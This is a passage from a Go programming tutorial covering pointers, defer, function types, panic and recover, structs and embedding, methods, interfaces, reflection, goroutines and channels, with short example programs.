The reason is very simple: when we called add1, we gave a copy of x to it, not the x itself.

Now you may ask how I can pass the real x to the function.

We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we want to change the value of a variable, we must change its memory address. Therefore the function add1 has to know the memory address of x in order to change its value. Here we pass &x to the function, and change the argument’s type to the pointer type *int. Be aware that we pass a copy of the pointer, not copy of value.

package main

import "fmt"

// simple function to add 1 to a
func add1(a *int) int {
    *a = *a + 1 // we changed value of a
    return *a   // return new value of a
}

func main() {
    x := 3

    fmt.Println("x = ", x) // should print "x = 3"

    x1 := add1(&x) // call add1(&x) pass memory address of x

    fmt.Println("x+1 = ", x1) // should print "x+1 = 4"
    fmt.Println("x = ", x)    // should print "x = 4"
}


Now we can change the value of x in the functions. Why do we use pointers? What are the advantages?


	Allows us to use more functions to operate on one variable.

	Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables.

	channel, slice and map are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of slice, you have to pass pointers explicitly)







106.2.4 defer

Go has a well designed keyword called defer. You can have many defer statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let’s see some examples.

func ReadWrite() bool {
    file.Open("file")
    // Do some work
    if failureX {
        file.Close()
        return false
    }

    if failureY {
        file.Close()
        return false
    }

    file.Close()
    return true
}


We saw some code being repeated several times. defer solves this problem very well. It doesn’t only help you to write clean code but also makes your code more readable.

func ReadWrite() bool {
    file.Open("file")
    defer file.Close()
    if failureX {
        return false
    }
    if failureY {
        return false
    }
    return true
}


If there are more than one defers, they will execute by reverse order. The following example will print 4 3 2 1 0.

for i := 0; i < 5; i++ {
    defer fmt.Printf("%d ", i)
}






106.2.5 Functions as values and types

Functions are also variables in Go, we can use type to define them. Functions that have the same signature can be seen as the same type.

type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])


What’s the advantage of this feature? The answer is that it allows us to pass functions as values.

package main

import "fmt"

type testInt func(int) bool // define a function type of variable

func isOdd(integer int) bool {
    return integer%2 != 0
}

func isEven(integer int) bool {
    return integer%2 == 0
}

// pass the function `f` as an argument to another function
func filter(slice []int, f testInt) []int {
    var result []int
    for _, value := range slice {
        if f(value) {
            result = append(result, value)
        }
    }
    return result
}

var slice = []int{1, 2, 3, 4, 5, 7}

func main() {
  odd := filter(slice, isOdd)
  even := filter(slice, isEven)

  fmt.Println("slice = ", slice)
    fmt.Println("Odd elements of slice are: ", odd)
    fmt.Println("Even elements of slice are: ", even)
}


It’s very useful when we use interfaces. As you can see testInt is a variable that has a function as type and the returned values and arguments of filter are the same as those of testInt. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code.





106.2.6 Panic and Recover

Go doesn’t have try-catch structure like Java does. Instead of throwing exceptions, Go uses panic and recover to deal with errors. However, you shouldn’t use panic very much, although it’s powerful.

Panic is a built-in function to break the normal flow of programs and get into panic status. When a function F calls panic, F will not continue executing but its defer functions will continue to execute. Then F goes back to the break point which caused the panic status. The program will not terminate until all of these functions return with panic to the first level of that goroutine. panic can be produced by calling panic in the program, and some errors also cause panic like array access out of bounds errors.

Recover is a built-in function to recover goroutines from panic status. Calling recover in defer functions is useful because normal functions will not be executed when the program is in the panic status. It catches panic values if the program is in the panic status, and it gets nil if the program is not in panic status.

The following example shows how to use panic.

var user = os.Getenv("USER")

func init() {
    if user == "" {
        panic("no value for $USER")
    }
}


The following example shows how to check panic.

func throwsPanic(f func()) (b bool) {
    defer func() {
        if x := recover(); x != nil {
            b = true
        }
    }()
    f() // if f causes panic, it will recover
    return
}






106.2.7 main function and init function

Go has two retentions which are called main and init, where init can be used in all packages and main can only be used in the main package. These two functions are not able to have arguments or return values. Even though we can write many init functions in one package, I strongly recommend writing only one init function for each package.

Go programs will call init() and main() automatically, so you don’t need to call them by yourself. For every package, the init function is optional, but package main has one and only one main function.

Programs initialize and begin execution from the main package. If the main package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After importing packages, programs will initialize the constants and variables within the imported packages, then execute the init function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in the main package, then execute the init function inside the package if it exists. The following figure shows the process.
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Figure 2.6 Flow of programs initialization in Go





106.2.8 import

We use import very often in Go programs as follows.

import(
    "fmt"
)


Then we use functions in that package as follows.

fmt.Println("hello world")


fmt is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways.


	Relative path

import “./model” // load package in the same directory, I don’t recommend this way.

	Absolute path

import “shorturl/model” // load package in path “$GOPATH/pkg/shorturl/model”



There are some special operators when we import packages, and beginners are always confused by these operators.


	Dot operator.

Sometime we see people use following way to import packages.

import(
. "fmt"
)


The dot operator means you can omit the package name when you call functions inside of that package. Now fmt.Printf("Hello world") becomes to Printf("Hello world").

	Alias operation.

It changes the name of the package that we imported when we call functions that belong to that package.

import(
f "fmt"
)


Now fmt.Printf("Hello world") becomes to f.Printf("Hello world").

	_ operator.

This is the operator that is difficult to understand without someone explaining it to you.

import (
"database/sql"
_ "github.com/ziutek/mymysql/godrv"
)


The _ operator actually means we just want to import that package and execute its init function, and we are not sure if we want to use the functions belonging to that package.








106.3 Links


	Directory

	Previous section: Go foundation

	Next section: struct







107 2.4 struct





107.1 struct

We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called person to represent a person, with fields name and age. We call this kind of type a struct.

type person struct {
    name string
    age int
}


Look how easy it is to define a struct!

There are two fields.


	name is a string used to store a person’s name.

	age is a int used to store a person’s age.



Let’s see how to use it.

type person struct {
    name string
    age int
}

var P person  // p is person type

P.name = "Astaxie"  // assign "Astaxie" to the field 'name' of p
P.age = 25  // assign 25 to field 'age' of p
fmt.Printf("The person's name is %s\n", P.name)  // access field 'name' of p


There are three more ways to initialize a struct.


	Assign initial values by order

P := person{"Tom", 25}



	Use the format field:value to initialize the struct without order

P := person{age:24, name:"Bob"}



	Define an anonymous struct, then initialize it

P := struct{name string; age int}{"Amy",18}


Let’s see a complete example.




package main

import "fmt"

// define a new type
type person struct {
    name string
    age  int
}

// struct is passed by value
// compare the age of two people, then return the older person and differences of age
func Older(p1, p2 person) (person, int) {
    if p1.age > p2.age {
        return p1, p1.age - p2.age
    }
    return p2, p2.age - p1.age
}

func main() {
    var tom person

    tom.name, tom.age = "Tom", 18
    bob := person{age: 25, name: "Bob"}
    paul := person{"Paul", 43}

    tb_Older, tb_diff := Older(tom, bob)
    tp_Older, tp_diff := Older(tom, paul)
    bp_Older, bp_diff := Older(bob, paul)

    fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff)
    fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff)
    fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff)
}






107.1.1 embedded fields in struct

I’ve just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields.

When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embedded.

Let’s see one example.

package main

import "fmt"

type Human struct {
    name   string
    age    int
    weight int
}

type Student struct {
    Human     // embedded field, it means Student struct includes all fields that Human has.
    specialty string
}

func main() {
    // instantiate and initialize a student
    mark := Student{Human{"Mark", 25, 120}, "Computer Science"}

    // access fields
    fmt.Println("His name is ", mark.name)
    fmt.Println("His age is ", mark.age)
    fmt.Println("His weight is ", mark.weight)
    fmt.Println("His specialty is ", mark.specialty)

    // modify mark's specialty
    mark.specialty = "AI"
    fmt.Println("Mark changed his specialty")
    fmt.Println("His specialty is ", mark.specialty)

    fmt.Println("Mark become old. He is not an athlete anymore")
    mark.age = 46
    mark.weight += 60
    fmt.Println("His age is", mark.age)
    fmt.Println("His weight is", mark.weight)
}
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Figure 2.7 Embedding in Student and Human

We see that we can access the age and name fields in Student just like we can in Human. This is how embedded fields work. It’s very cool, isn’t it? Hold on, there’s something cooler! You can even use Student to access Human in this embedded field!

mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1


All the types in Go can be used as embedded fields.

package main

import "fmt"

type Skills []string

type Human struct {
    name   string
    age    int
    weight int
}

type Student struct {
    Human     // struct as embedded field
    Skills    // string slice as embedded field
    int       // built-in type as embedded field
    specialty string
}

func main() {
    // initialize Student Jane
    jane := Student{Human: Human{"Jane", 35, 100}, specialty: "Biology"}
    // access fields
    fmt.Println("Her name is ", jane.name)
    fmt.Println("Her age is ", jane.age)
    fmt.Println("Her weight is ", jane.weight)
    fmt.Println("Her specialty is ", jane.specialty)
    // modify value of skill field
    jane.Skills = []string{"anatomy"}
    fmt.Println("Her skills are ", jane.Skills)
    fmt.Println("She acquired two new ones ")
    jane.Skills = append(jane.Skills, "physics", "golang")
    fmt.Println("Her skills now are ", jane.Skills)
    // modify embedded field
    jane.int = 3
    fmt.Println("Her preferred number is ", jane.int)
}


In the above example, we can see that all types can be embedded fields and we can use functions to operate on them.

There is one more problem however. If Human has a field called phone and Student has a field with same name, what should we do?

Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access student.phone, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field overloading.

package main

import "fmt"

type Human struct {
    name  string
    age   int
    phone string // Human has phone field
}

type Employee struct {
    Human
    specialty string
    phone     string // phone in employee
}

func main() {
    Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}

    fmt.Println("Bob's work phone is:", Bob.phone)
    fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}






107.2 Links


	Directory

	Previous section: Control statements and functions

	Next section: Object-oriented







108 Object-oriented

We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called a method.





108.1 method

Suppose you define a “rectangle” struct and you want to calculate its area. We’d typically use the following code to achieve this goal.

package main

import "fmt"

type Rectangle struct {
    width, height float64
}

func area(r Rectangle) float64 {
    return r.width * r.height
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    fmt.Println("Area of r1 is: ", area(r1))
    fmt.Println("Area of r2 is: ", area(r2))
}


The above example can calculate a rectangle’s area. We use the function called area, but it’s not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice.

It’s not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names.
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Figure 2.8 Relationship between function and struct

Obviously that’s not cool. Also, the area should really be the property of a circle or rectangle.

This is where a method comes to play. The method is a function affiliated with a type. It has similar syntax as function except, after the func keyword has a parameter called the receiver, which is the main body of that method.

Using the same example, Rectangle.Area() belongs directly to rectangle, instead of as a peripheral function. More specifically, length, width and Area() all belong to rectangle.

As Rob Pike said.

"A method is a function with an implicit first argument, called a receiver."

Syntax of method.

func (r ReceiverType) funcName(parameters) (results)


Let’s change our example using method instead.

package main

import (
    "fmt"
    "math"
)

type Circle struct {
    radius float64
}

type Rectangle struct {
    width, height float64
}

// method
func (c Circle) Area() float64 {
    return c.radius * c.radius * math.Pi
}

// method
func (r Rectangle) Area() float64 {
    return r.width * r.height
}

func main() {
    c1 := Circle{10}
    c2 := Circle{25}
    r1 := Rectangle{9, 4}
    r2 := Rectangle{12, 2}

    fmt.Println("Area of c1 is: ", c1.Area())
    fmt.Println("Area of c2 is: ", c2.Area())
    fmt.Println("Area of r1 is: ", r1.Area())
    fmt.Println("Area of r2 is: ", r2.Area())
}


Notes for using methods.


	If the name of methods are the same but they don’t share the same receivers, they are not the same.

	Methods are able to access fields within receivers.

	Use . to call a method in the struct, the same way fields are called.
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Figure 2.9 Methods are different in different structs

In the example above, the Area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle.

One thing that’s worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver’s values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value.

Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types.

Use the following format to define a customized type.

type typeName typeLiteral


Examples of customized types:

type age int
type money float32
type months map[string]int

m := months {
    "January":31,
    "February":28,
    ...
    "December":31,
}


I hope that you know how to use customized types now. Similar to typedef in C, we use ages to substitute int in the above example.

Let’s get back to talking about method.

You can use as many methods in custom types as you want.

package main

import "fmt"

const (
    WHITE = iota
    BLACK
    BLUE
    RED
    YELLOW
)

type Box struct {
    width, height, depth float64
    color Color
}
type Color byte
type BoxList []Box //a slice of boxes

// method
func (b Box) Volume() float64 {
    return b.width * b.height * b.depth
}

// method with a pointer receiver
func (b *Box) SetColor(c Color) {
    b.color = c
}

// method
func (bl BoxList) BiggestsColor() Color {
    v := 0.00
    k := Color(WHITE)
    for _, b := range bl {
        if b.Volume() > v {
            v = b.Volume()
            k = b.color
        }
    }
    return k
}

// method
func (bl BoxList) PaintItBlack() {
    for i, _ := range bl {
        bl[i].SetColor(BLACK)
    }
}

// method
func (c Color) String() string {
    strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
    return strings[c]
}

func main() {
    boxes := BoxList{
        Box{4, 4, 4, RED},
        Box{10, 10, 1, YELLOW},
        Box{1, 1, 20, BLACK},
        Box{10, 10, 1, BLUE},
        Box{10, 30, 1, WHITE},
        Box{20, 20, 20, YELLOW},
    }

    fmt.Printf("We have %d boxes in our set\n", len(boxes))
    fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
    fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String())
    fmt.Println("The biggest one is", boxes.BiggestsColor().String())

    // Let's paint them all black
    boxes.PaintItBlack()

    fmt.Println("The color of the second one is", boxes[1].color.String())
    fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}


We define some constants and customized types.


	Use Color as alias of byte.

	Define a struct Box which has fields height, width, length and color.

	Define a struct BoxList which has Box as its field.



Then we defined some methods for our customized types.


	Volume() uses Box as its receiver and returns the volume of Box.

	SetColor(c Color) changes Box’s color.

	BiggestsColor() returns the color which has the biggest volume.

	PaintItBlack() sets color for all Box in BoxList to black.

	String() use Color as its receiver, returns the string format of color name.



Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding.





108.1.1 Use pointer as receiver

Let’s take a look at SetColor method. Its receiver is a pointer of Box. Yes, you can use *Box as a receiver. Why do we use a pointer here? Because we want to change Box’s color in this method. Thus, if we don’t use a pointer, it will only change the value inside a copy of Box.

If we see that a receiver is the first argument of a method, it’s not hard to understand how it works.

You might be asking why we aren’t using (*b).Color=c instead of b.Color=c in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now?

You may also be asking whether we should use (&bl[i]).SetColor(BLACK) in PaintItBlack because we pass a pointer to SetColor. Again, either one is OK because Go knows how to interpret it!





108.1.2 Inheritance of method

We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well.

package main

import "fmt"

type Human struct {
    name  string
    age   int
    phone string
}

type Student struct {
    Human  // anonymous field
    school string
}

type Employee struct {
    Human
    company string
}

// define a method in Human
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func main() {
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}

    sam.SayHi()
    mark.SayHi()
}






108.1.3 Method Overriding

If we want Employee to have its own method SayHi, we can define a method that has the same name in Employee, and it will hide SayHi in Human when we call it.

package main

import "fmt"

type Human struct {
    name  string
    age   int
    phone string
}

type Student struct {
    Human
    school string
}

type Employee struct {
    Human
    company string
}

func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

func main() {
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}

    sam.SayHi()
    mark.SayHi()
}


You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well.





108.2 Links


	Directory

	Previous section: struct

	Next section: interface







109 2.6 Interface





109.1 Interface

One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation.





109.1.1 What is an interface

In short, an interface is a set of methods that we use to define a set of actions.

Like the examples in previous sections, both Student and Employee can SayHi(), but they don’t do the same thing.

Let’s do some more work. We’ll add one more method Sing() to them, along with the BorrowMoney() method to Student and the SpendSalary() method to Employee.

Now, Student has three methods called SayHi(), Sing() and BorrowMoney(), and Employee has SayHi(), Sing() and SpendSalary().

This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: SayHi() and Sing(). At the same time, Employee doesn’t implement the interface: BorrowMoney(), and Student doesn’t implement the interface: SpendSalary(). This is because Employee doesn’t have the method BorrowMoney() and Student doesn’t have the method SpendSalary().





109.1.2 Type of Interface

An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface.

type Human struct {
    name  string
    age   int
    phone string
}

type Student struct {
    Human
    school string
    loan   float32
}

type Employee struct {
    Human
    company string
    money   float32
}

// define interfaces
type Men interface {
    SayHi()
    Sing(lyrics string)
    Guzzle(beerStein string)
}

type YoungChap interface {
    SayHi()
    Sing(song string)
    BorrowMoney(amount float32)
}

type ElderlyGent interface {
    SayHi()
    Sing(song string)
    SpendSalary(amount float32)
}

func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func (h *Human) Sing(lyrics string) {
    fmt.Println("La la, la la la, la la la la la...", lyrics)
}

func (h *Human) Guzzle(beerStein string) {
    fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}

// Employee overloads SayHi
func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

func (s *Student) BorrowMoney(amount float32) {
    s.loan += amount // (again and again and...)
}

func (e *Employee) SpendSalary(amount float32) {
    e.money -= amount // More vodka please!!! Get me through the day!
}


We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously.

Note that any type implements the empty interface interface{} because it doesn’t have any methods and all types have zero methods by default.





109.1.3 Value of interface

So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable.

Like the above example, if we define a variable “m” as interface Men, then any one of Student, Human or Employee can be assigned to “m”. So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn’t have the same behavior as a slice of other types.

package main

import "fmt"

type Human struct {
    name  string
    age   int
    phone string
}

type Student struct {
    Human
    school string
    loan   float32
}

type Employee struct {
    Human
    company string
    money   float32
}

// Interface Men implemented by Human, Student and Employee
type Men interface {
    SayHi()
    Sing(lyrics string)
}

// method
func (h Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

// method
func (h Human) Sing(lyrics string) {
    fmt.Println("La la la la...", lyrics)
}

// method
func (e Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

func main() {
    mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
    paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
    sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
    tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}

    // define interface i
    var i Men

    //i can store Student
    i = mike
    fmt.Println("This is Mike, a Student:")
    i.SayHi()
    i.Sing("November rain")

    //i can store Employee
    i = tom
    fmt.Println("This is Tom, an Employee:")
    i.SayHi()
    i.Sing("Born to be wild")

    // slice of Men
    fmt.Println("Let's use a slice of Men and see what happens")
    x := make([]Men, 3)
    // these three elements are different types but they all implemented interface Men
    x[0], x[1], x[2] = paul, sam, mike

    for _, value := range x {
        value.SayHi()
    }
}


An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself.





109.1.4 Empty interface

An empty interface is an interface that doesn’t contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C.

// define a as empty interface
var void interface{}

// vars
i := 5
s := "Hello world"

// a can store value of any type
void = i
void = s


If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type.





109.1.5 Method arguments of an interface

Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function?

For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition.

type Stringer interface {
    String() string
}


This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let’s prove it.

package main

import (
    "fmt"
    "strconv"
)

type Human struct {
    name  string
    age   int
    phone string
}

// Human implements fmt.Stringer
func (h Human) String() string {
    return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone
}

func main() {
    Bob := Human{"Bob", 39, "000-7777-XXX"}
    fmt.Println("This Human is : ", Bob)
}


Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don’t implement this interface, fmt.Println prints the type with its default format.

fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())


Attention: If the type implemented the interface error, fmt will call Error(), so you don’t have to implement Stringer at this point.





109.1.6 Type of variable in an interface

If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you.


	Assertion of Comma-ok pattern



Go has the syntax value, ok := element.(T). This checks to see if the variable is the type that we expect, where “value” is the value of the variable, “ok” is a variable of boolean type, “element” is the interface variable and the T is the type of assertion.

If the element is the type that we expect, ok will be true, false otherwise.

Let’s use an example to see more clearly.

package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List []Element

type Person struct {
    name string
    age  int
}

func (p Person) String() string {
    return "(name: " + p.name + " - age:    " + strconv.Itoa(p.age) + " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1       // an int
    list[1] = "Hello" // a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list {
        if value, ok := element.(int); ok {
            fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
        } else if value, ok := element.(string); ok {
            fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
        } else if value, ok := element.(Person); ok {
            fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
        } else {
            fmt.Printf("list[%d] is of a different type\n", index)
        }
    }
}


It’s quite easy to use this pattern, but if we have many types to test, we’d better use switch.


	switch test



Let’s use switch to rewrite the above example.

package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List []Element

type Person struct {
    name string
    age  int
}

func (p Person) String() string {
    return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1       //an int
    list[1] = "Hello" //a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list {
        switch value := element.(type) {
        case int:
            fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
        case string:
            fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
        case Person:
            fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
        default:
            fmt.Println("list[%d] is of a different type", index)
        }
    }
}


One thing you should remember is that element.(type) cannot be used outside of the switch body, which means in that case you have to use the comma-ok pattern .





109.1.7 Embedded interfaces

The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them Embedded interfaces. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will behave as if it has all the methods that the embedded interface has.

We can see that the source file in container/heap has the following definition:

type Interface interface {
    sort.Interface // embedded sort.Interface
    Push(x interface{}) //a Push method to push elements into the heap
    Pop() interface{} //a Pop method that pops elements from the heap
}


We see that sort.Interface is an embedded interface, so the above Interface has the three methods contained within the sort.Interface implicitly.

type Interface interface {
    // Len is the number of elements in the collection.
    Len() int
    // Less returns whether the element with index i should sort
    // before the element with index j.
    Less(i, j int) bool
    // Swap swaps the elements with indexes i and j.
    Swap(i, j int)
}


Another example is the io.ReadWriter in package io.

// io.ReadWriter
type ReadWriter interface {
    Reader
    Writer
}






109.1.8 Reflection

Reflection in Go is used for determining information at runtime. We use the reflect package, and The Laws of Reflection post explains how reflect works in Go.

There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation).

t := reflect.TypeOf(i)    // get meta-data in type i, and use t to get all elements
v := reflect.ValueOf(i)   // get actual value in type i, and use v to change its value


After that, we can convert the reflected types to get the values that we need.

var x float64 = 3.4

t := reflect.TypeOf(x)
v := reflect.ValueOf(x)

fmt.Println("type:", t)
fmt.Println("value:", v)
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)


Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile.

var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)


Instead, we must use the following code to change the values from reflect types.

var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)


We have just discussed the basics of reflection, however you must practice more in order to understand more.





109.2 Links


	Directory

	Previous section: Object-oriented

	Next section: Concurrency







110 Concurrency

It is said that Go is the C of the 21st century. I think there are two reasons for it. First, Go is a simple language. Second, concurrency is a hot topic in today’s world, and Go supports this feature at the language level.





110.1 goroutine

goroutines and concurrency are built into the core design of Go. They’re similar to threads but work differently. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it’s not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads.

goroutines run on the thread manager at runtime in Go. We use the go keyword to create a new goroutine, which is a function at the underlying level ( main() is a goroutine ).

go hello(a, b, c)


Let’s see an example.

package main

import (
    "fmt"
    "runtime"
)

func say(s string) {
    for i := 0; i < 5; i++ {
        runtime.Gosched()
        fmt.Println(s)
    }
}

func main() {
    go say("world") // create a new goroutine
    say("hello")    // current goroutine
}


Output：

    hello
    world
    hello
    world
    hello
    world
    hello
    world
    hello

We see that it’s very easy to use concurrency in Go by using the keyword go. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don’t use shared data to communicate, use communication to share data.

runtime.Gosched() means let the CPU execute other goroutines, and come back at some point.

In Go 1.5,the runtime now sets the default number of threads to run simultaneously, defined by GOMAXPROCS, to the number of cores available on the CPU.

Before Go 1.5,The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If n<1, it changes nothing.





110.2 channels

goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called channel. A channel is like two-way pipeline in Unix shells: use channel to send or receive data. The only data type that can be used in channels is the type channel and the keyword chan. Be aware that you have to use make to create a new channel.

ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})


channel uses the operator <- to send or receive data.

ch <- v    // send v to channel ch.
v := <-ch  // receive data from ch, and assign to v


Let’s see more examples.

package main

import "fmt"

func sum(a []int, c chan int) {
    total := 0
    for _, v := range a {
        total += v
    }
    c <- total // send total to c
}

func main() {
    a := []int{7, 2, 8, -9, 4, 0}

    c := make(chan int)
    go sum(a[:len(a)/2], c)
    go sum(a[len(a)/2:], c)
    x, y := <-c, <-c // receive from c

    fmt.Println(x, y, x+y)
}


Sending and receiving data in channels blocks by default, so it’s much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (value := <-ch), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (ch<-5), is received.





110.3 Buffered channels

I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, ch := make(chan bool, 4), here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it.

ch := make(chan type, n)

n == 0 ! non-buffer（block）
n > 0 ! buffer（non-block until n elements in the channel）


You can try the following code on your computer and change some values.

package main

import "fmt"

func main() {
    c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine
    c <- 1
    c <- 2
    fmt.Println(<-c)
    fmt.Println(<-c)
}






110.4 Range and Close

We can use range to operate on buffer channels as in slice and map.

package main

import (
    "fmt"
)

func fibonacci(n int, c chan int) {
    x, y := 1, 1
    for i := 0; i < n; i++ {
        c <- x
        x, y = y, x+y
    }
    close(c)
}

func main() {
    c := make(chan int, 10)
    go fibonacci(cap(c), c)
    for i := range c {
        fmt.Println(i)
    }
}


for i := range c will not stop reading data from channel until the channel is closed. We use the keyword close to close the channel in above example. It’s impossible to send or receive data on a closed channel; you can use v, ok := <-ch to test if a channel is closed. If ok returns false, it means the there is no data in that channel and it was closed.

Remember to always close channels in producers and not in consumers, or it’s very easy to get into panic status.

Another thing you need to remember is that channels are not like files. You don’t have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops.





110.5 Select

In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called select to listen to many channels.

select is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly.

package main

import "fmt"

func fibonacci(c, quit chan int) {
    x, y := 1, 1
    for {
        select {
        case c <- x:
            x, y = y, x+y
        case <-quit:
            fmt.Println("quit")
            return
        }
    }
}

func main() {
    c := make(chan int)
    quit := make(chan int)
    go func() {
